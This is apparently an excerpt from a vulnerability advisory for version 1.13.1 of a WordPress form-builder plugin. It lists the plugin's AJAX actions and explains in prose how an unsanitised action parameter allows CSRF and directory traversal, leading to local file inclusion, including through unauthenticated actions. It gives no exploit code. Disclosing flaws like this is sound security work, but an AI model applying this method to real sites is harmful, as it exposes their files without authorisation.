# Version: 1.13.1
# Tested on: WordPress 5.1.1

Description
-----------

Plugin implements the following AJAX actions:

- `manage_fm`
- `get_stats`
- `generete_csv`
- `generete_xml`
- `formmakerwdcaptcha`
- `nopriv_formmakerwdcaptcha`
- `formmakerwdmathcaptcha`
- `nopriv_formmakerwdmathcaptcha`
- `product_option`
- `FormMakerEditCountryinPopup`
- `FormMakerMapEditinPopup`
- `FormMakerIpinfoinPopup`
- `show_matrix`
- `FormMakerSubmits`
- `FormMakerSQLMapping`
- `select_data_from_db`
- `manage`

All of them call the function `form_maker_ajax_fmc`. This function
dynamicaly loads a file defined in `$_GET['action']` or
`$_POST['action']` if the former is not defined. Because of the way
WordPress defines the AJAX action a user could define the plugin action
in the `$_GET['action']` and AJAX action in `$_POST['action']`.
Leveraging that and the fact that no sanitization is performed on the
`$_GET['action']`, a malicious actor can perform a CSRF attack to load a
file using directory traversal thus leading to Local File Inclusion
vulnerability.

The following AJAX actions are available only for the paid version of
the plugin:

- `paypal_info`
- `checkpaypal`
- `nopriv_checkpaypal`
- `get_frontend_stats`
- `nopriv_get_frontend_stats`
- `frontend_show_map`
- `nopriv_frontend_show_map`
- `frontend_show_matrix`
- `nopriv_frontend_show_matrix`
- `frontend_paypal_info`
- `nopriv_frontend_paypal_info`
- `frontend_generate_csv`
- `nopriv_frontend_generate_csv`
- `frontend_generate_xml`
- `nopriv_frontend_generate_xml`
- `FMShortocde`
- `wd_bp_dismiss`

In both free and paid versions, there are no-privilege actions that can
be exploited by unauthenticated users in order to include local files.
